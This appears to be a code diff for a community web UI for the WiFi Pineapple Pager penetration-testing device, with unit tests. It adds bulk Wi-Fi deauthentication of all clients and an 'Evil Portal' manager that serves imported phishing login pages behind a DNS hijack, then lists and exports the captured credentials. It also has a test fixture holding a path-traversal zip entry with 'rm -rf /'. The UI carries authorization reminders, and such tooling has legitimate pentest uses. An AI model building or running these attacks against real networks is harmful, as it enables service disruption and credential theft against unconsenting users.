channel: parseInt(parts[1], 10) || null
}))
}).then((r) => {
const d = r.data || {};
App.toast('Deauth frames sent to ' + (d.sent != null ? d.sent : '?') +
'/' + ((d.results || []).length) + ' devices');
}), 'Sending…');
}, 'danger');
function lookup(q) {
if (!q || q === lastLookup) return Promise.resolve();
lastLookup = q;
@@ -1397,6 +1451,7 @@ function deauthPanel(ssidRef) {
if (!(d.aps || []).length) apSel.appendChild(h('option', { value: '|1', text: 'No APs found — check SSID' }));
clTable.innerHTML = '';
const cl = (d.clients || []).slice(0, 30);
lastClients = cl.map((c) => c.mac || c.client_mac || '').filter(Boolean);
if (!cl.length) {
clTable.appendChild(h('div', { class: 'empty', text: 'No devices in recon yet.' }));
return;
@@ -1431,8 +1486,10 @@ function deauthPanel(ssidRef) {
})())));
body.appendChild(apSel);
body.appendChild(clTable);
body.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'Only deauth targets you are authorized to test.' }));
body.appendChild(h('div', { class: 'row', style: 'margin-top:6px' },
h('div', {}, deauthAllBtn),
h('div', { class: 'muted', style: 'font-size:12px;align-self:center',
text: 'Only deauth targets you are authorized to test.' })));
if (ssidRef) {
ssidRef.tick = () => {
const liveSsid = ssidRef.current && ssidRef.current.trim();
@@ -2113,6 +2170,26 @@ views.recon = (root) => {
.then(() => App.toast('Examining channel ' + ap.channel + ' — check the Pager screen')), 'Examining…');
});
actions.appendChild(exC);
const focusClients = (ap.clients || []).filter((client) => client && client.mac);
if (focusClients.length && ap.bssid) {
const deauthAll = h('button', { class: 'btn danger recon-focus-action-button',
text: 'Deauth All Clients (' + focusClients.length + ')' });
deauthAll.addEventListener('click', () => {
const ssidLabel = ap.ssid || 'hidden network';
if (!window.confirm('Deauthenticate ' + focusClients.length + ' client(s) of "' +
ssidLabel + '"?\n\nConfirm this target is IN SCOPE for your engagement.')) return;
runAction(deauthAll, () => PagerAPI.post('/api/attacks/deauth/bulk', {
targets: focusClients.map((c) => ({
bssid: ap.bssid, client: c.mac, channel: ap.channel == null ? null : ap.channel
}))
}).then((r) => {
const d = r.data || {};
App.toast('Deauth frames sent to ' + (d.sent != null ? d.sent : '?') +
'/' + ((d.results || []).length) + ' clients');
}), 'Sending…');
});
actions.appendChild(deauthAll);
}
const details = h('div', { class: 'recon-focus-body' });
focusSidebar.appendChild(details);
@@ -4045,3 +4122,175 @@ views.settings_help = (root) => {
license.appendChild(h('p', { class: 'muted', text: 'This community WebUI runs alongside the licensed WiFi Pineapple Pager firmware. Third-party component notices remain available in their distributed source files.' }));
return { destroy: () => {} };
};
// ---------------------------------------------------------------------------
// Evil Portal — Hak5 EvilPortalNano-compatible captive portal manager.
// ---------------------------------------------------------------------------
views.evilportal = (root) => {
root.appendChild(h('h1', { class: 'page-title', text: 'Evil Portal' }));
const box = h('div', { style: 'display:flex;flex-direction:column;gap:16px' });
root.appendChild(box);
function portalCard(title) {
const card = h('div', { class: 'pineap-title-card' });
card.appendChild(h('div', { class: 'pineap-card-title' }, title));
box.appendChild(card);
return card;
}
// ---- Active portal status ----
const statusCard = portalCard('Active Portal');
const statusBody = h('div', { style: 'font-size:13px;line-height:1.9' });
statusCard.appendChild(statusBody);
let activeName = null;
// ---- Templates ----
const tplCard = portalCard('Portal Templates');
const tplBody = h('div', { style: 'font-size:13px' });
tplCard.appendChild(tplBody);
// ---- Import ----
const importCard = portalCard('Import Portal');
const importBody = h('div', { style: 'font-size:13px' });
importCard.appendChild(importBody);
const nameIn = h('input', { placeholder: 'Portal name (optional override)' });
const fileIn = h('input', { type: 'file', accept: '.zip,application/zip' });
importBody.appendChild(h('div', { class: 'row' }, nameIn,
h('div', {}, fileIn)));
importBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'Upload a zip of a Hak5 Evil Portal (index.php + assets). Compatible with kleo/evilportals and other EvilPortalNano portals.' }));
function refresh() {
return PagerAPI.get('/api/portals').then((r) => {
const d = r.data || {};
activeName = d.active || null;
renderStatus();
renderTemplates(d.portals || []);
}).catch(() => App.toast('Failed to load portals', 'error'));
}
function renderStatus() {
statusBody.innerHTML = '';
const on = !!activeName;
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: 'Status' }),
badge(on)));
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: 'Portal' }),
h('span', { text: on ? activeName : '—' })));
if (on) {
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: '' }),
h('span', { class: 'muted', style: 'font-size:12px',
text: 'Serving on http://<device-ip>/ with DNS hijack (all hostnames resolve to the Pager).' })));
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: '' }),
h('div', {}, btn('Stop Portal', () => {
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(activeName) + '/deactivate', {})
.then(refresh), 'Stopping…');
}, 'danger'))));
}
}
function renderTemplates(portals) {
tplBody.innerHTML = '';
if (!portals.length) {
tplBody.appendChild(h('div', { class: 'empty',
text: 'No portal templates imported. Import a zip below to get started.' }));
return;
}
tplBody.appendChild(table(
[{ key: 'name', label: 'Name' }, { key: 'size', label: 'Size' },
{ key: 'captures', label: 'Captures' }, { key: '_actions', label: '' }],
portals.map((p) => ({
name: p.name, size: fmtBytes(p.bytes), captures: String(p.captures || 0),
_actions: (function () {
const wrapRow = h('div', { style: 'display:flex;gap:6px' });
if (p.name === activeName) {
wrapRow.appendChild(btn('Stop', () => {
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(p.name) + '/deactivate', {})
.then(refresh), 'Stopping…');
}, 'danger'));
} else {
wrapRow.appendChild(btn('Activate', () => {
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(p.name) + '/activate', {})
.then(() => App.toast('Portal active — DNS hijack on'))
.then(refresh), 'Activating…');
}, 'danger'));
}
wrapRow.appendChild(btn('Download', () => {
window.open('/api/portals/' + encodeURIComponent(p.name) + '/download', '_blank');
}, 'ghost'));
wrapRow.appendChild(btn('Delete', () => {
if (!window.confirm('Delete portal "' + p.name + '"?')) return;
runAction(null, () => PagerAPI.del('/api/portals/' + encodeURIComponent(p.name))
.then(refresh), 'Deleting…');
}, 'danger'));
return wrapRow;
})()
}))));
}
fileIn.addEventListener('change', () => {
const f = fileIn.files && fileIn.files[0];
fileIn.value = '';
if (!f) return;
if (f.size > 10 * 1024 * 1024) { App.toast('Zip too large (max 10 MB)', 'error'); return; }
const fr = new FileReader();
fr.onload = () => {
const b64 = String(fr.result).split(',')[1] || '';
runAction(null, () => PagerAPI.post('/api/portals/import', {
name: nameIn.value.trim() || undefined, data: b64
}).then((r) => {
App.toast('Imported portal "' + ((r.data || {}).name || '?') + '"');
nameIn.value = '';
return refresh();
}), 'Importing…');
};
fr.readAsDataURL(f);
});
// ---- Captured credentials ----
const capCard = portalCard('Captured Credentials');
const capBody = h('div', { style: 'font-size:13px' });
capCard.appendChild(capBody);
function loadCaptures() {
return PagerAPI.get('/api/portals/captures?limit=200').then((r) => {
const d = r.data || {};
const caps = d.captures || [];
capBody.innerHTML = '';
capBody.appendChild(h('div', { class: 'row' },
h('span', { text: caps.length ? (caps.length + ' capture(s)' +
(d.total > caps.length ? ' (of ' + d.total + ')' : '')) : 'No credentials captured yet.' }),
h('div', {},
btn('Refresh', () => { loadCaptures(); }, 'ghost'),
caps.length ? btn('Clear All', () => {
if (!window.confirm('Delete ALL captured credentials?')) return;
runAction(null, () => PagerAPI.del('/api/portals/captures')
.then(loadCaptures), 'Clearing…');
}, 'danger') : null,
caps.length ? h('a', { class: 'btn ghost', href: '#', onclick: (e) => {
e.preventDefault();
downloadText('evil-portal-captures.json', JSON.stringify(caps, null, 2));
}, text: 'Export JSON', style: 'text-decoration:none' }) : null)));
if (!caps.length) return;
capBody.appendChild(table(
[{ key: 'when', label: 'When' }, { key: 'portal', label: 'Portal' },
{ key: 'ident', label: 'Client' }, { key: 'creds', label: 'Fields' }],
caps.map((c) => ({
when: c.time || fmtTime(c.ts),
portal: c.portal || '—',
ident: [c.mac, c.ip, c.hostname].filter(Boolean).join(' · ') || '—',
creds: Object.keys(c.fields || {}).map((k) =>
k + ': ' + String(c.fields[k]).slice(0, 40)).join(' | ') || '(no fields)'
}))));
}).catch(() => {});
}
refresh();
loadCaptures();
const iv = setInterval(loadCaptures, 10000);
return { destroy: () => clearInterval(iv) };
};
+130
View File
@@ -604,3 +604,133 @@ class AttacksCaptureTest(unittest.TestCase):
if __name__ == '__main__':
unittest.main()
class AttacksDeauthBulkTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
self.f._verify = True
server.device_run = self.f.device_run
server.daemon_sock_call = self.f.daemon_sock_call
server._uci_wifi_iface = self.f.uci_iface
def test_bulk_deauth_all_targets(self):
targets = [
{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
'channel': 6},
{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '22:22:33:44:55:66',
'channel': 36},
]
status, payload = server.h_attacks_deauth_bulk(ctx({'targets': targets}))
self.assertEqual(status, 200)
self.assertEqual(payload['sent'], 2)
self.assertEqual(payload['failed'], 0)
calls = [r[0] for r in self.f.runs]
self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT',
'AA:BB:CC:DD:EE:FF', '11:22:33:44:55:66', '6'], calls)
self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT',
'AA:BB:CC:DD:EE:FF', '22:22:33:44:55:66', '36'], calls)
def test_bulk_deauth_mixed_validity_reports_per_target(self):
targets = [
{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
'channel': 6},
{'bssid': 'nope', 'client': '22:22:33:44:55:66', 'channel': 6},
]
status, payload = server.h_attacks_deauth_bulk(ctx({'targets': targets}))
self.assertEqual(status, 200)
self.assertEqual(payload['sent'], 1)
self.assertEqual(payload['failed'], 1)
self.assertFalse(payload['results'][1]['ok'])
self.assertEqual(payload['results'][1]['error'], 'invalid AP MAC')
def test_bulk_deauth_rejects_empty_and_oversized(self):
status, _ = server.h_attacks_deauth_bulk(ctx({'targets': []}))
self.assertEqual(status, 400)
status, _ = server.h_attacks_deauth_bulk(ctx({}))
self.assertEqual(status, 400)
big = [{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:%02d' % (i % 256),
'channel': 6} for i in range(33)]
status, payload = server.h_attacks_deauth_bulk(ctx({'targets': big}))
self.assertEqual(status, 400)
class AttacksCaptureStatusBothIfacesTest(unittest.TestCase):
"""The UI polls status without an iface; the handler must report the
monitor that actually has a live capture (regression: wlan1mon captures
flipped back to 'Not capturing' within one 5s poll)."""
def setUp(self):
self.f = FakeUciDevice()
server.device_run = self.f.device_run
self.pidfiles = ['/tmp/mk8_capture_wlan0mon.pid',
'/tmp/mk8_capture_wlan1mon.pid']
self.real_exists = os.path.exists
for p in self.pidfiles:
try:
os.unlink(p)
except OSError:
pass
def tearDown(self):
os.path.exists = self.real_exists
for p in self.pidfiles:
try:
os.unlink(p)
except OSError:
pass
def _live_pidfile(self, iface):
with open('/tmp/mk8_capture_%s.pid' % iface, 'w') as f:
f.write(str(os.getpid()))
def test_status_without_iface_finds_running_wlan1mon(self):
self._live_pidfile('wlan1mon')
# Own pid always exists in /proc; pretend the wlan1mon netdev exists.
os.path.exists = lambda p: (
not p.startswith('/sys/class/net') or p.endswith('wlan1mon'))
status, payload = server.h_attacks_capture(ctx({'action': 'status'}))
self.assertEqual(status, 200)
self.assertTrue(payload['running'])
self.assertEqual(payload['iface'], 'wlan1mon')
def test_status_without_iface_defaults_when_none_running(self):
status, payload = server.h_attacks_capture(ctx({'action': 'status'}))
self.assertEqual(status, 200)
self.assertFalse(payload['running'])
self.assertIn(payload['iface'], ('wlan0mon', 'wlan1mon'))
def test_start_mkdirs_pcap_dir_and_logs_stderr(self):
calls = []
def fake_run(args, timeout=20, input_data=None):
calls.append(list(args))
if args[:2] == ['sh', '-c'] and 'echo $!' in args[2]:
with open('/tmp/mk8_capture_wlan1mon.pid', 'w') as f:
f.write(str(os.getpid()))
return (0, '', '')
old_exists = os.path.exists
server.device_run = fake_run
# /proc does not exist on dev hosts; fake liveness for our own pid.
os.path.exists = lambda p: (
p.startswith('/proc/') or
not p.startswith('/sys/class/net') or p.endswith('wlan1mon'))
try:
status, payload = server.h_attacks_capture(ctx({
'action': 'start', 'iface': 'wlan1mon'}))
finally:
server.device_run = self.f.device_run
os.path.exists = old_exists
self.assertEqual(status, 200)
self.assertTrue(payload['running'])
self.assertTrue(any(a[:3] == ['mkdir', '-p', '/root/loot/pcap']
for a in calls),
'capture dir must be created before starting tcpdump')
sh_cmd = next(a[2] for a in calls if a[:2] == ['sh', '-c'])
self.assertNotIn('/dev/null', sh_cmd)
self.assertIn('mk8_capture_wlan1mon.log', sh_cmd)
try:
os.unlink('/tmp/mk8_capture_wlan1mon.pid')
except OSError:
pass
+253
View File
@@ -0,0 +1,253 @@
import base64
import io
import json
import os
import shutil
import sys
import tempfile
import unittest
import zipfile
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None, args=(), query=None):
return type('C', (), {'body': body or {}, 'args': args,
'query': query or {}})()
def make_zip(files, top_dir=None):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
for name, data in files.items():
zf.writestr((top_dir + '/' if top_dir else '') + name, data)
return buf.getvalue()
INDEX_PHP = (b"<?php\n$destination = 'x';\nrequire_once('helper.php');\n?>\n"
b'<html><form method="post" action="/captiveportal/index.php">'
b'<input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER[\'REMOTE_ADDR\']);?>">'
b'<input type="hidden" name="mac" value="<?=getClientMac($_SERVER[\'REMOTE_ADDR\']);?>">'
b'<input type="hidden" name="ip" value="<?=$_SERVER[\'REMOTE_ADDR\'];?>">'
b'<input type="hidden" name="target" value="<?=$destination?>">'
b'<input name="email"></form></html>')
META_EP = json.dumps({'name': 'facebook-login', 'type': 'basic'}).encode()
class PortalsTest(unittest.TestCase):
def setUp(self):
self.tmp = tempfile.mkdtemp(prefix='mk8-portals-test-')
self.old = (server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE,
server.PORTAL_CAPTURES_FILE)
server.PORTALS_DIR = self.tmp
server.PORTAL_ACTIVE_FILE = os.path.join(self.tmp, '.active')
server.PORTAL_CAPTURES_FILE = os.path.join(self.tmp, 'captures.jsonl')
server._portal_set_active(None)
self.hijacks = []
server._portal_dns_hijack = (
lambda enable: self.hijacks.append(enable))
def tearDown(self):
server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, \
server.PORTAL_CAPTURES_FILE = self.old
shutil.rmtree(self.tmp, ignore_errors=True)
# ---- import ----
def test_import_flat_zip(self):
status, payload = server.h_portals_import(ctx({
'name': 'my-portal',
'data': base64.b64encode(make_zip({
'index.php': INDEX_PHP, 'assets/style.css': b'body{}'})).decode()}))
self.assertEqual(status, 200)
self.assertEqual(payload['name'], 'my-portal')
root = os.path.join(self.tmp, 'my-portal')
self.assertTrue(os.path.isfile(os.path.join(root, 'index.php')))
self.assertTrue(os.path.isfile(os.path.join(root, 'assets', 'style.css')))
def test_import_nested_top_dir_flattens_and_uses_ep_name(self):
status, payload = server.h_portals_import(ctx({
'data': base64.b64encode(make_zip({
'index.php': INDEX_PHP, 'MyPortal.php': b'<?php ?>',
'facebook-login.ep': META_EP},
top_dir='facebook-login')).decode()}))
self.assertEqual(status, 200)
self.assertEqual(payload['name'], 'facebook-login')
root = os.path.join(self.tmp, 'facebook-login')
self.assertTrue(os.path.isfile(os.path.join(root, 'index.php')))
self.assertFalse(os.path.isdir(os.path.join(root, 'facebook-login')))
def test_import_rejects_missing_index_php(self):
status, payload = server.h_portals_import(ctx({
'name': 'bad', 'data': base64.b64encode(make_zip(
{'only.css': b'body{}'})).decode()}))
self.assertEqual(status, 400)
def test_import_rejects_zip_slip(self):
evil = make_zip({'index.php': INDEX_PHP})
# Hand-build a zip with an unsafe entry.
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('index.php', INDEX_PHP)
zf.writestr('../../evil.sh', b'rm -rf /')
status, _ = server.h_portals_import(ctx({
'name': 'evil', 'data': base64.b64encode(buf.getvalue()).decode()}))
self.assertEqual(status, 400)
self.assertFalse(os.path.exists('/tmp/evil.sh'))
self.assertFalse(os.path.exists(evil and '/etc/passwd.mk8test'))
def test_import_rejects_garbage(self):
status, _ = server.h_portals_import(ctx({
'name': 'junk', 'data': base64.b64encode(b'not a zip').decode()}))
self.assertEqual(status, 400)
status, _ = server.h_portals_import(ctx({}))
self.assertEqual(status, 400)
def test_import_overwrites_same_name(self):
data = base64.b64encode(make_zip({
'index.php': INDEX_PHP})).decode()
s1, _ = server.h_portals_import(ctx({'name': 'dup', 'data': data}))
data2 = base64.b64encode(make_zip({
'index.php': INDEX_PHP, 'extra.txt': b'x'})).decode()
s2, _ = server.h_portals_import(ctx({'name': 'dup', 'data': data2}))
self.assertEqual((s1, s2), (200, 200))
self.assertTrue(os.path.isfile(
os.path.join(self.tmp, 'dup', 'extra.txt')))
# ---- list / activate / delete ----
def _import_one(self, name='p1'):
status, payload = server.h_portals_import(ctx({
'name': name, 'data': base64.b64encode(make_zip(
{'index.php': INDEX_PHP})).decode()}))
assert status == 200, payload
return name
def test_list_reports_portals_and_active(self):
self._import_one('alpha')
status, payload = server.h_portals_list(ctx())
self.assertEqual(status, 200)
names = [p['name'] for p in payload['portals']]
self.assertIn('alpha', names)
self.assertIsNone(payload['active'])
def test_activate_starts_dns_hijack_and_persists(self):
name = self._import_one()
status, payload = server.h_portals_activate(ctx(args=(name,)))
self.assertEqual(status, 200)
self.assertEqual(self.hijacks, [True])
with open(server.PORTAL_ACTIVE_FILE) as f:
self.assertEqual(f.read().strip(), name)
status, payload = server.h_portals_list(ctx())
self.assertEqual(payload['active'], name)
def test_activate_unknown_portal_404(self):
status, _ = server.h_portals_activate(ctx(args=('ghost',)))
self.assertEqual(status, 404)
def test_deactivate_stops_hijack(self):
name = self._import_one()
server.h_portals_activate(ctx(args=(name,)))
status, payload = server.h_portals_deactivate(ctx())
self.assertEqual(status, 200)
self.assertEqual(self.hijacks, [True, False])
_, payload = server.h_portals_list(ctx())
self.assertIsNone(payload['active'])
def test_delete_active_portal_deactivates_first(self):
name = self._import_one()
server.h_portals_activate(ctx(args=(name,)))
status, _ = server.h_portals_delete(ctx(args=(name,)))
self.assertEqual(status, 200)
self.assertFalse(os.path.exists(os.path.join(self.tmp, name)))
self.assertEqual(self.hijacks, [True, False])
def test_restore_on_boot_reapplies_hijack(self):
name = self._import_one()
with open(server.PORTAL_ACTIVE_FILE, 'w') as f:
f.write(name + '\n')
server._portal_restore_on_boot()
self.assertEqual(self.hijacks, [True])
self.assertEqual(server._portal_active['name'], name)
# ---- php shim ----
def test_php_shim_substitutes_client_values(self):
old_leases = server._dhcp_leases
server._dhcp_leases = lambda: {'10.0.0.5': ('AA:BB:CC:DD:EE:FF', 'victim-pc')}
try:
out = server._php_shim(INDEX_PHP.decode(), '10.0.0.5',
'http://login.example.com/')
finally:
server._dhcp_leases = old_leases
self.assertNotIn('<?php', out)
self.assertNotIn('<%=', out)
self.assertNotIn('<?=', out)
self.assertIn('value="victim-pc"', out)
self.assertIn('value="AA:BB:CC:DD:EE:FF"', out)
self.assertIn('value="10.0.0.5"', out)
self.assertIn('value="http://login.example.com/"', out)
def test_php_shim_escapes_quotes_in_lease_values(self):
old_leases = server._dhcp_leases
server._dhcp_leases = lambda: {'10.0.0.5': ('AA:BB:CC:DD:EE:FF',
'vic"tim')}
try:
out = server._php_shim(INDEX_PHP.decode(), '10.0.0.5', 'http://x/')
finally:
server._dhcp_leases = old_leases
self.assertIn('value="vic&quot;tim"', out)
# ---- capture ----
def test_capture_writes_logs_and_jsonl(self):
name = self._import_one('credtrap')
server._portal_capture(b'email=a@b.c&password=hunter2&submit=Log+In',
'10.0.0.9', name)
logs_path = os.path.join(self.tmp, 'credtrap', '.logs')
with open(logs_path) as f:
text = f.read()
self.assertIn('email: a@b.c', text)
self.assertIn('password: hunter2', text)
self.assertIn('[', text)
with open(server.PORTAL_CAPTURES_FILE) as f:
entries = [json.loads(line) for line in f if line.strip()]
self.assertEqual(len(entries), 1)
self.assertEqual(entries[0]['fields']['password'], 'hunter2')
self.assertEqual(entries[0]['ip'], '10.0.0.9')
self.assertEqual(entries[0]['portal'], 'credtrap')
def test_captures_endpoint_lists_newest_first_and_clears(self):
name = self._import_one()
server._portal_capture(b'a=1', '10.0.0.1', name)
server._portal_capture(b'a=2', '10.0.0.2', name)
status, payload = server.h_portals_captures(ctx(query={'limit': 200}))
self.assertEqual(status, 200)
self.assertEqual(payload['total'], 2)
self.assertEqual(payload['captures'][0]['fields']['a'], '2')
status, _ = server.h_portals_captures_clear(ctx())
self.assertEqual(status, 200)
_, payload = server.h_portals_captures(ctx(query={}))
self.assertEqual(payload['total'], 0)
def test_logs_download_returns_file(self):
name = self._import_one()
server._portal_capture(b'a=1', '10.0.0.1', name)
status, payload = server.h_portal_logs(ctx(args=(name,)))
self.assertEqual(status, 200)
self.assertEqual(payload.filename, '%s.logs.txt' % name)
self.assertIn(b'a: 1', payload.data)
def test_logs_download_404_when_empty(self):
name = self._import_one()
status, _ = server.h_portal_logs(ctx(args=(name,)))
self.assertEqual(status, 404)
if __name__ == '__main__':
unittest.main()